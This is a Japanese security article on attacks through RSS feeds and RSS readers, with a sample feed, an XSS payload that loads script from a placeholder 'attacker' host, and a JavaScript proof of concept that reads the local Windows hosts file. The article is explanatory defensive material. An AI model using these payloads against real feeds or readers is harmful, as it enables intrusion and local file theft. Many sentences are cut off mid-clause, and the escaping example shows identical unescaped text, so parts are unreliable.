RSSでWebページの更新情報を提供することが多くなりました。ブログソフトウェアやCMS
RSSフィードのフォーマット
RSSにはいくつかのバージョンが存在します。RSS1.
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Secure Sky Technology Inc.</title>
<link>http://www.securesky-tech.com/</link>
<language>ja</language>
<copyright>Copyright 2007</copyright>
<item>
<title>SSTホームページ開設のおしらせ</title>
<description>SSTのホームページが平成18年4月3日に開設しました。</description>
<link>http://www.securesky-tech.com/2006/03/sst_3.html</link>
<guid>http://www.securesky-tech.com/2006/03/sst_3.html</guid>
<category>01 news</category>
<pubDate>Fri, 31 Mar 2006 10:49:15 +0900</pubDate>
</item>
</channel>
</rss>
RSSでの攻撃シナリオ
まず、
攻撃者自身のサイトに攻撃コードを含んだRSSフィードを設置する方法の場合、
一方、

そして、
- クロスサイトスクリプティング
- SQLインジェクション
- バッファオーバーフロー
RSSフィードへの攻撃による被害拡散
攻撃者はどこかのRSSフィードに攻撃コードを埋め込んでおけば、
一般のクロスサイトスクリプティングは何らかの方法によりユーザをサイトに誘導する必要があったのに対し、

RSSフィード提供者は、
<![CDATA[<script/src="http://attacker/attack.js"></script>]]>
と入力されていた場合には
<![CDATA[<script/src="http://attacker/attack.js"></script>]]>
としてRSSフィードに出力すればよいことになります。
RSSリーダーの脆弱性
では、
RSSフィードがWebサイトの更新情報を配信しているという性格上、
そのため、
しかしRSSリーダーの種類によってはクロスサイトスクリプティングの影響範囲が一般のWebアプリケーションとは異なる部分がありますので、

所属するドメインに注意
ローカルアプリケーションとして動作するRSSリーダーの仕組みは次のようになります。
- 登録されたURLにアクセスし、
RSSフィードを読み込む - RSSフィードを解析し、
必要な情報を抜き出す - 抜き出した情報を元に、
HTMLファイルを作成し保存する - 保存したHTMLファイルを表示する
ここで問題となるのが、
なぜ問題になるのかというと、
たとえば、
<script language="javascript">
var req;
if( window.XMLHttpRequest){
req = new XMLHttpRequest();
}else if(window.ActiveXObject){
try {
req = new ActiveXObject("MSXML2.XMLHTTP");
} catch (e) {
req = new ActiveXObject("Microsoft.XMLHTTP");
}
}
if (req) {
req.open('GET', 'file:///C:/WINDOWS/system32/drivers/etc/hosts');
req.onreadystatechange = function() {
if (req.readyState == 4) {
alert(req.responseText);
}
}
req.send(null);
}
</script>
しかし、

一方、
かといってInternet Explorerが安全というわけではありません。IEコンポーネントを使ってRSSリーダーを開発した場合には、
ローカルアプリケーションによる被害拡大
WebアプリケーションタイプのRSSリーダーにクロスサイトスクリプティングの脆弱性が存在していた場合、
今回はRSSリーダーを例として説明しましたが、